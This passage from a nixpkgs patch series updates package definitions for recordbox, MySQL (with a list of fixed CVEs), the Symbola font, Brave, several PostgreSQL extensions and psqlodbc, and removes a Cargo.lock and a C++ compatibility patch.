-version = "3.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4b9b1fef7d021261cc16cba64c351d291b715febe0fa10dc3a443ac5a5022e6c"
-dependencies = [
- "serde",
- "static_assertions",
- "zvariant 4.2.0",
-]
-
-[[package]]
-name = "zbus_names"
-version = "4.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7be68e64bf6ce8db94f63e72f0c7eb9a60d733f7e0499e628dfab0f84d6bcb97"
-dependencies = [
- "serde",
- "static_assertions",
- "winnow",
- "zvariant 5.4.0",
-]
-
-[[package]]
-name = "zerocopy"
-version = "0.7.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0"
-dependencies = [
- "zerocopy-derive 0.7.35",
-]
-
-[[package]]
-name = "zerocopy"
-version = "0.8.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fd97444d05a4328b90e75e503a34bad781f14e28a823ad3557f0750df1ebcbc6"
-dependencies = [
- "zerocopy-derive 0.8.23",
-]
-
-[[package]]
-name = "zerocopy-derive"
-version = "0.7.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "zerocopy-derive"
-version = "0.8.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6352c01d0edd5db859a63e2605f4ea3183ddbd15e2c4a9e7d32184df75e4f154"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "zerofrom"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "50cc42e0333e05660c3587f3bf9d0478688e15d870fab3346451ce7f8c9fbea5"
-dependencies = [
- "zerofrom-derive",
-]
-
-[[package]]
-name = "zerofrom-derive"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d71e5d6e06ab090c67b5e44993ec16b72dcbaabc526db883a360057678b48502"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
- "synstructure",
-]
-
-[[package]]
-name = "zerovec"
-version = "0.10.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aa2b893d79df23bfb12d5461018d408ea19dfafe76c2c7ef6d4eba614f8ff079"
-dependencies = [
- "yoke",
- "zerofrom",
- "zerovec-derive",
-]
-
-[[package]]
-name = "zerovec-derive"
-version = "0.10.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6eafa6dfb17584ea3e2bd6e76e0cc15ad7af12b09abdd1ca55961bed9b1063c6"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "zvariant"
-version = "4.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2084290ab9a1c471c38fc524945837734fbf124487e105daec2bb57fd48c81fe"
-dependencies = [
- "endi",
- "enumflags2",
- "serde",
- "static_assertions",
- "zvariant_derive 4.2.0",
-]
-
-[[package]]
-name = "zvariant"
-version = "5.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b2df9ee044893fcffbdc25de30546edef3e32341466811ca18421e3cd6c5a3ac"
-dependencies = [
- "endi",
- "enumflags2",
- "serde",
- "static_assertions",
- "url",
- "winnow",
- "zvariant_derive 5.4.0",
- "zvariant_utils 3.2.0",
-]
-
-[[package]]
-name = "zvariant_derive"
-version = "4.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "73e2ba546bda683a90652bac4a279bc146adad1386f25379cf73200d2002c449"
-dependencies = [
- "proc-macro-crate",
- "proc-macro2",
- "quote",
- "syn",
- "zvariant_utils 2.1.0",
-]
-
-[[package]]
-name = "zvariant_derive"
-version = "5.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "74170caa85b8b84cc4935f2d56a57c7a15ea6185ccdd7eadb57e6edd90f94b2f"
-dependencies = [
- "proc-macro-crate",
- "proc-macro2",
- "quote",
- "syn",
- "zvariant_utils 3.2.0",
-]
-
-[[package]]
-name = "zvariant_utils"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c51bcff7cc3dbb5055396bcf774748c3dab426b4b8659046963523cee4808340"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "zvariant_utils"
-version = "3.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e16edfee43e5d7b553b77872d99bc36afdda75c223ca7ad5e3fbecd82ca5fc34"
-dependencies = [
- "proc-macro2",
- "quote",
- "serde",
- "static_assertions",
- "syn",
- "winnow",
-]
diff --git a/pkgs/by-name/re/recordbox/package.nix b/pkgs/by-name/re/recordbox/package.nix
index 143098d63c8a..d5be70da5d91 100644
--- a/pkgs/by-name/re/recordbox/package.nix
+++ b/pkgs/by-name/re/recordbox/package.nix
@@ -4,13 +4,16 @@
   appstream-glib,
   blueprint-compiler,
   cargo,
+  dbus,
   desktop-file-utils,
   fetchFromGitea,
   glib,
   gst_all_1,
   gtk4,
   hicolor-icon-theme,
+  lcms2,
   libadwaita,
+  libseccomp,
   libxml2,
   meson,
   ninja,
@@ -24,27 +27,20 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "recordbox";
-  version = "0.9.3";
+  version = "0.10.3";
 
   src = fetchFromGitea {
     domain = "codeberg.org";
     owner = "edestcroix";
     repo = "Recordbox";
-    rev = "refs/tags/v${finalAttrs.version}";
-    hash = "sha256-168L5i6mXeEqv7EKPMq4zHP5JRVxC7MNrUE9yj1zI60=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-o2cKVRpuAwE+/TI5mwtSvkCFaXN349GP9dDlgdh3Luk=";
   };
 
-  # Patch in our Cargo.lock and ensure AppStream tests don't use the network
-  # TODO: Switch back to the default `validate` when the upstream file actually
-  # passes it
-  postPatch = ''
-    ln -s ${./Cargo.lock} Cargo.lock
-
-    substituteInPlace data/meson.build \
-      --replace-fail "['validate', appstream_file]" "['validate-relax', '--nonet', appstream_file]"
-  '';
-
-  cargoDeps = rustPlatform.importCargoLock { lockFile = ./Cargo.lock; };
+  cargoDeps = rustPlatform.fetchCargoVendor {
+    inherit (finalAttrs) pname version src;
+    hash = "sha256-0/tKL5UW1QuhsddivU/r8n3T3xyRaGLRVpKuXcc4fmU=";
+  };
 
   strictDeps = true;
 
@@ -66,9 +62,12 @@ stdenv.mkDerivation (finalAttrs: {
   ];
 
   buildInputs = [
+    dbus
     gtk4
     hicolor-icon-theme
+    lcms2
     libadwaita
+    libseccomp
     sqlite
   ]
   ++ (with gst_all_1; [
@@ -101,6 +100,7 @@ stdenv.mkDerivation (finalAttrs: {
   meta = {
     description = "Relatively simple music player";
     homepage = "https://codeberg.org/edestcroix/Recordbox";
+    changelog = "https://codeberg.org/edestcroix/Recordbox/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.gpl3Plus;
     maintainers = with lib.maintainers; [ getchoo ];
     mainProgram = "recordbox";

From a4ffee2fbc0166945269bf8dc89b51bcd6256ab4 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Fri, 25 Jul 2025 10:50:41 +0200
Subject: [PATCH 3324/4511] mysql80: 8.0.42 -> 8.0.43

Fixes CVE-2025-50078, CVE-2025-50082, CVE-2025-50083, CVE-2025-50085,
CVE-2025-50077, CVE-2025-50092, CVE-2025-50099, CVE-2025-50086,
CVE-2025-50093, CVE-2025-50094, CVE-2025-50079, CVE-2025-50084,
CVE-2025-50087, CVE-2025-50091, CVE-2025-50101, CVE-2025-50102,
CVE-2025-53023, CVE-2025-50097, CVE-2025-50080, CVE-2025-50096,
CVE-2025-50081, CVE-2025-50104, CVE-2025-50098 and CVE-2025-50100.
https://www.oracle.com/security-alerts/cpujul2025.html#AppendixMSQL

Changes:
https://dev.mysql.com/doc/relnotes/mysql/8.0/en/news-8-0-43.html
(cherry picked from commit 00ac980af1112162e1b7ebf174cc6cc2b18f0352)
---
 pkgs/servers/sql/mysql/8.0.x.nix          |  12 +-
 pkgs/servers/sql/mysql/libcpp-fixes.patch | 183 ----------------------
 2 files changed, 2 insertions(+), 193 deletions(-)
 delete mode 100644 pkgs/servers/sql/mysql/libcpp-fixes.patch

diff --git a/pkgs/servers/sql/mysql/8.0.x.nix b/pkgs/servers/sql/mysql/8.0.x.nix
index 5bf46145cb65..3345c368a6da 100644
--- a/pkgs/servers/sql/mysql/8.0.x.nix
+++ b/pkgs/servers/sql/mysql/8.0.x.nix
@@ -2,7 +2,6 @@
   lib,
   stdenv,
   fetchurl,
-  fetchpatch,
   bison,
   cmake,
   pkg-config,
@@ -31,11 +30,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "mysql";
-  version = "8.0.42";
+  version = "8.0.43";
 
   src = fetchurl {
     url = "https://dev.mysql.com/get/Downloads/MySQL-${lib.versions.majorMinor finalAttrs.version}/mysql-${finalAttrs.version}.tar.gz";
-    hash = "sha256-XrIsIMILdlxYlMkBBIW9B9iptuv7YovP0wYHAXFVJv4=";
+    hash = "sha256-diUKgQFch49iUhz68w3/DqmyUJeNKx3/AHQIo5jV25M=";
   };
 
   nativeBuildInputs = [
@@ -48,13 +47,6 @@ stdenv.mkDerivation (finalAttrs: {
 
   patches = [
     ./no-force-outline-atomics.patch # Do not force compilers to turn on -moutline-atomics switch
-    # Fix compilation with LLVM 19, adapted from https://github.com/mysql/mysql-server/commit/3a51d7fca76e02257f5c42b6a4fc0c5426bf0421
-    # in https://github.com/NixOS/nixpkgs/pull/374591#issuecomment-2615855076
-    ./libcpp-fixes.patch
-    (fetchpatch {
-      url = "https://github.com/mysql/mysql-server/commit/4a5c00d26f95faa986ffed7a15ee15e868e9dcf2.patch";
-      hash = "sha256-MEl1lQlDYtFjHk0+S02RQFnxMr+YeFxAyNjpDtVHyeE=";
-    })
   ];
 
   ## NOTE: MySQL upstream frequently twiddles the invocations of libtool. When updating, you might proactively grep for libtool references.
diff --git a/pkgs/servers/sql/mysql/libcpp-fixes.patch b/pkgs/servers/sql/mysql/libcpp-fixes.patch
deleted file mode 100644
index d7ba0740a42c..000000000000
--- a/pkgs/servers/sql/mysql/libcpp-fixes.patch
+++ /dev/null
@@ -1,183 +0,0 @@
-diff --git a/include/my_char_traits.h b/include/my_char_traits.h
-new file mode 100644
-index 00000000..6336bc03
---- /dev/null
-+++ b/include/my_char_traits.h
-@@ -0,0 +1,65 @@
-+/* Copyright (c) 2024, Oracle and/or its affiliates.
-+
-+   This program is free software; you can redistribute it and/or modify
-+   it under the terms of the GNU General Public License, version 2.0,
-+   as published by the Free Software Foundation.
-+
-+   This program is designed to work with certain software (including
-+   but not limited to OpenSSL) that is licensed under separate terms,
-+   as designated in a particular file or component or in included license
-+   documentation.  The authors of MySQL hereby grant you an additional
-+   permission to link the program and your derivative works with the
-+   separately licensed software that they have either included with
-+   the program or referenced in the documentation.
-+
-+   This program is distributed in the hope that it will be useful,
-+   but WITHOUT ANY WARRANTY; without even the implied warranty of
-+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+   GNU General Public License, version 2.0, for more details.
-+
-+   You should have received a copy of the GNU General Public License
-+   along with this program; if not, write to the Free Software
-+   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301  USA */
-+
-+#ifndef MY_CHAR_TRAITS_INCLUDED
-+#define MY_CHAR_TRAITS_INCLUDED
-+
-+#include <cstring>
-+
-+template <class CharT>
-+struct my_char_traits;
-+
-+/*
-+  This is a standards-compliant, drop-in replacement for
-+    std::char_traits<unsigned char>
-+  We need this because clang libc++ is removing support for it in clang 19.
-+  It is not a complete implementation. Rather we implement just enough to
-+  compile any usage of char_traits<uchar> we have in our codebase.
-+ */
-+template <>
-+struct my_char_traits<unsigned char> {
-+  using char_type = unsigned char;
-+  using int_type = unsigned int;
-+
-+  static void assign(char_type &c1, const char_type &c2) { c1 = c2; }
-+
-+  static char_type *assign(char_type *s, std::size_t n, char_type a) {
-+    return static_cast<char_type *>(memset(s, a, n));
-+  }
-+
-+  static int compare(const char_type *s1, const char_type *s2, std::size_t n) {
-+    return memcmp(s1, s2, n);
-+  }
-+
-+  static char_type *move(char_type *s1, const char_type *s2, std::size_t n) {
-+    if (n == 0) return s1;
-+    return static_cast<char_type *>(memmove(s1, s2, n));
-+  }
-+
-+  static char_type *copy(char_type *s1, const char_type *s2, std::size_t n) {
-+    if (n == 0) return s1;
-+    return static_cast<char_type *>(memcpy(s1, s2, n));
-+  }
-+};
-+
-+#endif  // MY_CHAR_TRAITS_INCLUDED
-diff --git a/sql/mdl_context_backup.h b/sql/mdl_context_backup.h
-index 89e7e23d..cf9c307e 100644
---- a/sql/mdl_context_backup.h
-+++ b/sql/mdl_context_backup.h
-@@ -28,6 +28,7 @@
- #include <map>
- #include <memory>
- 
-+#include "my_char_traits.h"
- #include "sql/malloc_allocator.h"
- #include "sql/mdl.h"
- 
-@@ -47,7 +48,8 @@ class MDL_context_backup_manager {
-   /**
-     Key for uniquely identifying MDL_context in the MDL_context_backup map.
-   */
--  typedef std::basic_string<uchar> MDL_context_backup_key;
-+  using MDL_context_backup_key =
-+      std::basic_string<uchar, my_char_traits<uchar>>;
- 
-   class MDL_context_backup;
- 
-diff --git a/sql/stream_cipher.h b/sql/stream_cipher.h
-index 606d4064..358fbb41 100644
---- a/sql/stream_cipher.h
-+++ b/sql/stream_cipher.h
-@@ -28,6 +28,8 @@
- #include <memory>
- #include <string>
- 
-+#include "my_char_traits.h"
-+
- /**
-   @file stream_cipher.h
- 
-@@ -35,7 +37,8 @@
-          binary log files.
- */
- 
--typedef std::basic_string<unsigned char> Key_string;
-+using Key_string =
-+    std::basic_string<unsigned char, my_char_traits<unsigned char>>;
- 
- /**
-   @class Stream_cipher
-diff --git a/unittest/gunit/binlogevents/transaction_compression-t.cc b/unittest/gunit/binlogevents/transaction_compression-t.cc
-index ba13f979..01af0e3a 100644
---- a/unittest/gunit/binlogevents/transaction_compression-t.cc
-+++ b/unittest/gunit/binlogevents/transaction_compression-t.cc
-@@ -23,6 +23,7 @@
- */
- 
- #include <array>
-+#include <string>
- 
- #include <gtest/gtest.h>
- #include "libbinlogevents/include/binary_log.h"
-@@ -51,14 +52,13 @@ class TransactionPayloadCompressionTest : public ::testing::Test {
-   using Managed_buffer_t = Decompressor_t::Managed_buffer_t;
-   using Size_t = Decompressor_t::Size_t;
-   using Char_t = Decompressor_t::Char_t;
--  using String_t = std::basic_string<Char_t>;
-   using Decompress_status_t =
-       binary_log::transaction::compression::Decompress_status;
-   using Compress_status_t =
-       binary_log::transaction::compression::Compress_status;
- 
--  static String_t constant_data(Size_t size) {
--    return String_t(size, (Char_t)'a');
-+  static std::string constant_data(Size_t size) {
-+    return std::string(size, (Char_t)'a');
-   }
- 
-  protected:
-@@ -69,7 +69,7 @@ class TransactionPayloadCompressionTest : public ::testing::Test {
-   void TearDown() override {}
- 
-   static void compression_idempotency_test(Compressor_t &c, Decompressor_t &d,
--                                           String_t data) {
-+                                           const std::string &data) {
-     auto debug_string = concat(
-         binary_log::transaction::compression::type_to_string(c.get_type_code()),
-         " ", data.size());
-@@ -104,8 +104,8 @@ class TransactionPayloadCompressionTest : public ::testing::Test {
- 
-     // Check decompressed data
-     ASSERT_EQ(managed_buffer.read_part().size(), data.size()) << debug_string;
--    ASSERT_EQ(data, String_t(managed_buffer.read_part().begin(),
--                             managed_buffer.read_part().end()))
-+    ASSERT_EQ(data, std::string(managed_buffer.read_part().begin(),
-+                                managed_buffer.read_part().end()))
-         << debug_string;
- 
-     // Check that we reached EOF
-@@ -118,7 +118,7 @@ TEST_F(TransactionPayloadCompressionTest, CompressDecompressZstdTest) {
-   for (auto size : buffer_sizes) {
-     binary_log::transaction::compression::Zstd_dec d;
-     binary_log::transaction::compression::Zstd_comp c;
--    String_t data{TransactionPayloadCompressionTest::constant_data(size)};
-+    std::string data{TransactionPayloadCompressionTest::constant_data(size)};
-     TransactionPayloadCompressionTest::compression_idempotency_test(c, d, data);
-     c.set_compression_level(22);
-     TransactionPayloadCompressionTest::compression_idempotency_test(c, d, data);
-@@ -129,7 +129,7 @@ TEST_F(TransactionPayloadCompressionTest, CompressDecompressNoneTest) {
-   for (auto size : buffer_sizes) {
-     binary_log::transaction::compression::None_dec d;
-     binary_log::transaction::compression::None_comp c;
--    String_t data{TransactionPayloadCompressionTest::constant_data(size)};
-+    std::string data{TransactionPayloadCompressionTest::constant_data(size)};
-     TransactionPayloadCompressionTest::compression_idempotency_test(c, d, data);
-   }
- }
\ No newline at end of file

From f49d03ac7b772c2634e8ddbce186a8e9c1d1100c Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Fri, 25 Jul 2025 11:10:09 +0200
Subject: [PATCH 3325/4511] mysql84: 8.4.5 -> 8.4.6

Fixes CVE-2025-50078, CVE-2025-50082, CVE-2025-50083, CVE-2025-50085,
CVE-2025-50077, CVE-2025-50092, CVE-2025-50099, CVE-2025-50086,
CVE-2025-50093, CVE-2025-50094, CVE-2025-50079, CVE-2025-50084,
CVE-2025-50087, CVE-2025-50091, CVE-2025-50101, CVE-2025-50102,
CVE-2025-50097, CVE-2025-50080, CVE-2025-50096, CVE-2025-50081,
CVE-2025-50104, CVE-2025-50098 and CVE-2025-50100.
https://www.oracle.com/security-alerts/cpujul2025.html#AppendixMSQL

Changes:
https://dev.mysql.com/doc/relnotes/mysql/8.4/en/news-8-4-6.html
(cherry picked from commit 8608f6e7b3321d8319230cf869a0dad96255479b)
---
 pkgs/by-name/my/mysql84/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/my/mysql84/package.nix b/pkgs/by-name/my/mysql84/package.nix
index 02131a505d20..dfc07e36b6f7 100644
--- a/pkgs/by-name/my/mysql84/package.nix
+++ b/pkgs/by-name/my/mysql84/package.nix
@@ -27,11 +27,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "mysql";
-  version = "8.4.5";
+  version = "8.4.6";
 
   src = fetchurl {
     url = "https://dev.mysql.com/get/Downloads/MySQL-${lib.versions.majorMinor finalAttrs.version}/mysql-${finalAttrs.version}.tar.gz";
-    hash = "sha256-U2OVkqcgpxn9+t8skhuUfqyGwG4zMgLkdmeFKleBvRo=";
+    hash = "sha256-oeUj3IvpbRilreEGmYZhKFygG29bRsCLJlQRDkDfL7c=";
   };
 
   nativeBuildInputs = [

From 06ece53bbdb65930ed1bb89f0a2cfc002345ac59 Mon Sep 17 00:00:00 2001
From: Neil Mayhew <nix@neil.mayhew.name>
Date: Wed, 16 Jul 2025 20:32:36 -0600
Subject: [PATCH 3326/4511] symbola: fix disappearing source (#425659)

(cherry picked from commit bd76863061fe34179f2ee2257db35bb74c0d9261)
---
 pkgs/data/fonts/gdouros/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/data/fonts/gdouros/default.nix b/pkgs/data/fonts/gdouros/default.nix
index 9e47b342c86b..d6244752efec 100644
--- a/pkgs/data/fonts/gdouros/default.nix
+++ b/pkgs/data/fonts/gdouros/default.nix
@@ -74,7 +74,7 @@ let
       inherit pname version;
 
       src = fetchzip {
-        url = "https://web.archive.org/web/20240212172059/https://dn-works.com/wp-content/uploads/2020/UFAS-Fonts/${file}";
+        url = "https://web.archive.org/web/20221006174450/https://dn-works.com/wp-content/uploads/2020/UFAS-Fonts/${file}";
         stripRoot = false;
         inherit hash;
       };
@@ -91,12 +91,12 @@ let
 
       meta = {
         inherit description;
-        # see https://web.archive.org/web/20240212172059/https://dn-works.com/wp-content/uploads/2020/UFAS-Docs/License.pdf
+        # see https://web.archive.org/web/20221006174450/https://dn-works.com/wp-content/uploads/2020/UFAS-Docs/License.pdf
         # quite draconian: non-commercial, no modifications,
         # no redistribution, "a single instantiation and no
         # network installation"
         license = lib.licenses.unfree;
-        homepage = "https://web.archive.org/web/20240212172059/https://dn-works.com/ufas/";
+        homepage = "https://web.archive.org/web/20221006174450/https://dn-works.com/ufas/";
       };
     };
 in

From 2e783f8a5488fc59f47a10b106257f92b25f4545 Mon Sep 17 00:00:00 2001
From: Jon Hermansen <jon@jh86.org>
Date: Wed, 6 Aug 2025 19:15:45 -0400
Subject: [PATCH 3327/4511] brave: 1.80.125 -> 1.81.131

(cherry picked from commit 72eebfdad1f98a5dbf3503c882a89d5c394aaae8)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index b0f1fbc04d89..79bd0f6aa5df 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.80.125";
+  version = "1.81.131";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-FfD0HNcA/OgDOgDvqTdn+C0PlazX/VuBh6xxvy1+4JM=";
+      hash = "sha256-zMZSFNjbygITH7hn3QnDwg30BMgevEdz8VX9xvcTSC4=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-ih1XSJgDGj2gAwkyUJiOyKruvpouco+iWyOEyz67M2k=";
+      hash = "sha256-EgZi6JKwM3xf+kecenLJTzE2MtcEBnjbG7cVpRZZFE0=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-GjxeUJgQ+8Mq6cY6yA4fMFKM0LH59VJYOwRe1d0zI3c=";
+      hash = "sha256-Q8CJn2JxFgQ6Daw2bJUjjKQ7vv/ce2pvIfGyxjygQP4=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-NA5HRQtBh0oEy2K17iYocoDMJP5Bdg2d/SGpuVwE1nA=";
+      hash = "sha256-SPAGx1PYrDtmAu3avi06UgJY0D0/DQCq2u4kJtHwSZ0=";
     };
   };
 

From 86421f74db0ba0ac0ac1d168dd9dafe26bb331c4 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 3 Jul 2025 17:59:39 +0200
Subject: [PATCH 3328/4511] postgresqlPackages.pg_squeeze: fix update script
 and version

(cherry picked from commit ddf16c9c794febbb9d3987aae9d35da81b5c9903)
---
 pkgs/servers/sql/postgresql/ext/pg_squeeze.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pg_squeeze.nix b/pkgs/servers/sql/postgresql/ext/pg_squeeze.nix
index 6527ef920f79..b3c4ddc0c8a6 100644
--- a/pkgs/servers/sql/postgresql/ext/pg_squeeze.nix
+++ b/pkgs/servers/sql/postgresql/ext/pg_squeeze.nix
@@ -9,18 +9,18 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pg_squeeze";
-  version = "${builtins.replaceStrings [ "_" ] [ "." ] (
-    lib.strings.removePrefix "REL" finalAttrs.src.rev
-  )}";
+  version = "1.7.0";
 
   src = fetchFromGitHub {
     owner = "cybertec-postgresql";
     repo = "pg_squeeze";
-    tag = "REL1_7_0";
+    tag = "REL${lib.replaceString "." "_" finalAttrs.version}";
     hash = "sha256-Kh1wSOvV5Rd1CG/na3yzbWzvaR8SJ6wmTZOnM+lbgik=";
   };
 
-  passthru.updateScript = nix-update-script { extraArgs = [ "--version-regex=REL(.*)" ]; };
+  passthru.updateScript = nix-update-script {
+    extraArgs = [ "--version-regex=^REL(\\d+)_(\\d+)_(\\d+)$" ];
+  };
   passthru.tests.extension = postgresqlTestExtension {
     inherit (finalAttrs) finalPackage;
     postgresqlExtraSettings = ''

From 1c9ca14a3ed644d070a5ed3f330c8686bca17b81 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 3 Jul 2025 17:59:51 +0200
Subject: [PATCH 3329/4511] postgresqlPackages.plr: fix update script and
 version

(cherry picked from commit 65049d4556bc710b4a439f42f1b7bca5152cece5)
---
 pkgs/servers/sql/postgresql/ext/plr.nix | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/plr.nix b/pkgs/servers/sql/postgresql/ext/plr.nix
index 6f2d9d9d10ea..ae3f7ecaaf20 100644
--- a/pkgs/servers/sql/postgresql/ext/plr.nix
+++ b/pkgs/servers/sql/postgresql/ext/plr.nix
@@ -2,6 +2,7 @@
   buildEnv,
   fetchFromGitHub,
   lib,
+  nix-update-script,
   pkg-config,
   postgresql,
   postgresqlBuildExtension,
@@ -12,14 +13,12 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "plr";
-  version = "${builtins.replaceStrings [ "_" ] [ "." ] (
-    lib.strings.removePrefix "REL" finalAttrs.src.rev
-  )}";
+  version = "8.4.7";
 
   src = fetchFromGitHub {
     owner = "postgres-plr";
     repo = "plr";
-    tag = "REL8_4_7";
+    tag = "REL${lib.replaceString "." "_" finalAttrs.version}";
     hash = "sha256-PdvFEmtKfLT/xfaf6obomPR5hKC9F+wqpfi1heBphRk=";
   };
 
@@ -29,6 +28,9 @@ postgresqlBuildExtension (finalAttrs: {
   makeFlags = [ "USE_PGXS=1" ];
 
   passthru = {
+    updateScript = nix-update-script {
+      extraArgs = [ "--version-regex=^REL(\\d+)_(\\d+)_(\\d+)$" ];
+    };
     withPackages =
       f:
       let

From 20033e4dba09ed0caab750f7312141f158a22e67 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 3 Jul 2025 18:00:02 +0200
Subject: [PATCH 3330/4511] postgresqlPackages.wal2json: fix update script and
 version

(cherry picked from commit 67a79abc4552e5f608c2615db21fbff71a34cd57)
---
 pkgs/servers/sql/postgresql/ext/wal2json.nix | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/wal2json.nix b/pkgs/servers/sql/postgresql/ext/wal2json.nix
index 1427ebc54ec1..44a54bf17a9e 100644
--- a/pkgs/servers/sql/postgresql/ext/wal2json.nix
+++ b/pkgs/servers/sql/postgresql/ext/wal2json.nix
@@ -1,6 +1,7 @@
 {
   fetchFromGitHub,
   lib,
+  nix-update-script,
   nixosTests,
   postgresql,
   postgresqlBuildExtension,
@@ -8,19 +9,20 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "wal2json";
-  version = "${builtins.replaceStrings [ "_" ] [ "." ] (
-    lib.strings.removePrefix "wal2json_" finalAttrs.src.rev
-  )}";
+  version = "2.6";
 
   src = fetchFromGitHub {
     owner = "eulerto";
     repo = "wal2json";
-    tag = "wal2json_2_6";
+    tag = "wal2json_${lib.replaceString "." "_" finalAttrs.version}";
     hash = "sha256-+QoACPCKiFfuT2lJfSUmgfzC5MXf75KpSoc2PzPxKyM=";
   };
 
   makeFlags = [ "USE_PGXS=1" ];
 
+  passthru.updateScript = nix-update-script {
+    extraArgs = [ "--version-regex=^wal2json_(\\d+)_(\\d+)$" ];
+  };
   passthru.tests = nixosTests.postgresql.wal2json.passthru.override postgresql;
 
   meta = {

From aa07b20e4cec5a85efecc741ad9c001d5e1ee764 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 3 Jul 2025 19:54:57 +0200
Subject: [PATCH 3331/4511] psqlodbc: refactor

(cherry picked from commit 8b183cf9aa1c877c35d5cda4fc6c7ce4abb66d6b)
---
 pkgs/by-name/ps/psqlodbc/package.nix | 30 +++++++++++++++-------------
 1 file changed, 16 insertions(+), 14 deletions(-)

diff --git a/pkgs/by-name/ps/psqlodbc/package.nix b/pkgs/by-name/ps/psqlodbc/package.nix
index 526b5e9874fe..c51a8eea0790 100644
--- a/pkgs/by-name/ps/psqlodbc/package.nix
+++ b/pkgs/by-name/ps/psqlodbc/package.nix
@@ -1,13 +1,15 @@
 {
-  lib,
-  stdenv,
-  fetchFromGitHub,
-  nix-update-script,
   autoreconfHook,
+  fetchFromGitHub,
+  lib,
   libpq,
+  nix-update-script,
   openssl,
+  stdenv,
+
   withLibiodbc ? false,
   libiodbc,
+
   withUnixODBC ? true,
   unixODBC,
 }:
@@ -38,6 +40,13 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
+  configureFlags = [
+    "CPPFLAGS=-DSQLCOLATTRIBUTE_SQLLEN" # needed for cross
+    "--with-libpq=${lib.getDev libpq}"
+  ]
+  ++ lib.optional withLibiodbc "--with-iodbc=${libiodbc}"
+  ++ lib.optional withUnixODBC "--with-unixodbc=${unixODBC}";
+
   passthru = {
     updateScript = nix-update-script { };
   }
@@ -46,18 +55,11 @@ stdenv.mkDerivation rec {
     driver = "lib/psqlodbcw.so";
   };
 
-  configureFlags = [
-    "CPPFLAGS=-DSQLCOLATTRIBUTE_SQLLEN" # needed for cross
-    "--with-libpq=${lib.getDev libpq}"
-  ]
-  ++ lib.optional withLibiodbc "--with-iodbc=${libiodbc}"
-  ++ lib.optional withUnixODBC "--with-unixodbc=${unixODBC}";
-
-  meta = with lib; {
+  meta = {
     homepage = "https://odbc.postgresql.org/";
     description = "ODBC driver for PostgreSQL";
-    license = licenses.lgpl2;
